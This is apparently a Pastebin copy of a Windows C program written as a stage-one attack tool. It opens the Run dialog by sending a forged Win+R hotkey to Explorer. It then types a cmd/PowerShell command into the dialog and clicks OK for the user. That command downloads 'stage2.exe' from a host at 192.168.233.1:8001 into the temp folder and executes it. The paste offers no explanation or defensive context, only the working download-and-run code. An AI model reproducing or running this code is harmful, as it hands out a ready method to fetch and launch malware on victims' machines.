Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #define UNICODE
  2. #define _UNICODE
  3.  
  4. #include <windows.h>
  5. #include <tchar.h>
  6.  
  7. #pragma comment( lib, "user32" )
  8.  
  9. int _tmain( int argc, TCHAR *argv[] )
  10. {
  11.     HDESK hDesktop;
  12.     HMODULE hExplorer;
  13.     HANDLE hWnd, hComboBox, hEdit, hOkButton;
  14.     TCHAR szRunDlgTitle[MAX_PATH];
  15.  
  16.     hDesktop = OpenDesktop( _T( "Default"),
  17.                             0,
  18.                             FALSE,
  19.                             MAXIMUM_ALLOWED );
  20.     if ( NULL == hDesktop )
  21.     {
  22.         _tprintf( _T( "[-] OpenDesktop() failed (0x%08x)\n" ),
  23.                   GetLastError() );
  24.         return 0;
  25.     }
  26.     if ( FALSE == SetThreadDesktop ( hDesktop ) )
  27.     {
  28.         _tprintf( _T( "[-] SetThreadDesktop() failed (0x%08x)\n" ),
  29.                   GetLastError() );
  30.         return 0;
  31.     }
  32.  
  33.     hExplorer = LoadLibraryEx( _T( "explorer.exe" ),
  34.                                0,
  35.                                LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE );
  36.     if ( NULL == hExplorer )
  37.     {
  38.         _tprintf( _T( "[-] LoadLibrary() failed (0x%08x)\n" ),
  39.                   GetLastError() );
  40.         return 0;
  41.     }
  42.     if ( 0 == LoadString( hExplorer,
  43.                           722,
  44.                           szRunDlgTitle,
  45.                           _countof( szRunDlgTitle ) ) )
  46.     {
  47.         _tprintf( _T( "[-] LoadString() failed (0x%08x)\n" ),
  48.                   GetLastError() );
  49.         return 0;
  50.     }
  51.     SendMessage( HWND_BROADCAST,
  52.                  WM_HOTKEY,
  53.                  500,
  54.                  MAKELONG( MOD_WIN, 'R' ) );
  55.  
  56.     do
  57.     {
  58.         hWnd = FindWindow( WC_DIALOG,
  59.                            szRunDlgTitle );
  60.     }
  61.     while ( NULL == hWnd );
  62.     hComboBox = GetDlgItem( hWnd, 12298 );
  63.     if ( NULL == hComboBox )
  64.     {
  65.         _tprintf( _T( "[-] GetDlgItem() failed (0x%08x)\n" ),
  66.                   GetLastError() );
  67.         return 0;
  68.     }
  69.     hEdit = GetDlgItem( hComboBox, 1001 );
  70.     if ( NULL == hEdit )
  71.     {
  72.         _tprintf( _T( "[-] GetDlgItem() failed (0x%08x)\n" ),
  73.                   GetLastError() );
  74.         return 0;
  75.     }
  76.     hOkButton = GetDlgItem( hWnd, 1 );
  77.     if ( NULL == hOkButton )
  78.     {
  79.         _tprintf( _T( "[-] GetDlgItem() failed (0x%08x)\n" ),
  80.                   GetLastError() );
  81.         return 0;
  82.     }
  83.     SendMessage( hEdit,
  84.                  WM_SETTEXT,
  85.                  0,
  86.                  ( LPARAM )_T( "cmd.exe /c \"cd %TEMP%&PowerShell (New-Object System.Net.WebClient).DownloadFile('http://192.168.233.1:8001/stage2.exe','stage2.exe');(New-Object -com Shell.Application).ShellExecute('stage2.exe');\"" ) );
  87.     if ( FALSE == IsWindowEnabled( hOkButton ) )
  88.     {
  89.         EnableWindow( hOkButton, TRUE );
  90.     }
  91.     SendMessage( hOkButton,
  92.                  BM_CLICK,
  93.                  0,
  94.                  0 );
  95.  
  96.     return 0;
  97. }